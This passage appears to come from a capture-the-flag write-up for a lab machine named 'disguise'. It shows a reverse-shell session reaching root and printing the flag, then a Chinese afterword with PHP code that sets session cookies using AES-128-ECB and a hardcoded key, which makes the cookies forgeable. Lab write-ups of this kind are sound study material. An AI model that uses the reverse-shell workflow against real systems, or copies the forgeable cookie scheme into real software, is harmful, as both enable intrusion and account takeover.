1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [+] Got reverse shell from disguise-192.168.60.180-Linux-x86_64 😍️ Assigned SessionID <2> [!] Session detached ⇲ (Penelope)─(Session [1])> interact 2 [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [2], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/disguise~192.168.60.180_Linux_x86_64/2025_05_13-23_06_01-292.log 📜 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── root@disguise:~# id uid=0(root) gid=0(root) groups =0(root) root@disguise:~# cat root.txt hmv{CVE-2025-21548}
后记 Cookie
生成的相关代码,在代码中,openssl_encrypt
和 openssl_decrypt
函数默认使用 PKCS#7 填充
其中 bili
是固定的前缀,相当于隐式的 Salt ,固定密钥secret_key_2a8d32a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php session_start ();include 'config.php' ;function db_connect ( ) { global $DB_USER ,$DB_PASS ,$DB_NAME ; $conn = new mysqli ('localhost' , $DB_USER , $DB_PASS , $DB_NAME ); if ($conn ->connect_error) { die ("连接失败: " . $conn ->connect_error); } return $conn ; } function generate_captcha ( ) { $chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789' ; $captcha = substr (str_shuffle ($chars ), 0 , 6 ); $_SESSION ['captcha' ] = $captcha ; return $captcha ; } function verify_captcha ($input ) { return isset ($_SESSION ['captcha' ]) && strtoupper ($input ) === $_SESSION ['captcha' ]; } function aes_encrypt ($data , $key ) { return openssl_encrypt ($data , 'AES-128-ECB' , $key , OPENSSL_RAW_DATA); } function aes_decrypt ($data , $key ) { return openssl_decrypt ($data , 'AES-128-ECB' , $key , OPENSSL_RAW_DATA); } function set_dark_session ($username , $isAdmin ) { $modified = 'bili' . $username ; $encrypted = openssl_encrypt ($modified , 'AES-128-ECB' , 'secret_key_2a8d32a' , OPENSSL_RAW_DATA); setcookie ('dark_session' , base64_encode ($encrypted ), 0 , '/' ); } function get_dark_session ($dark_session ) { $encrypted = base64_decode ($dark_session ); $decrypted = openssl_decrypt ($encrypted , 'AES-128-ECB' , 'secret_key_2a8d32a' , OPENSSL_RAW_DATA); return $username = substr ($decrypted , 4 ); } function is_admin ($username ) { $conn = db_connect (); $stmt = $conn ->prepare ("SELECT isAdmin FROM users WHERE username = ?" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $result = $stmt ->get_result (); if ($result ->num_rows > 0 ) { $row = $result ->fetch_assoc (); return (int )$row ['isAdmin' ]; } $stmt ->close (); $conn ->close (); return 0 ; } ?>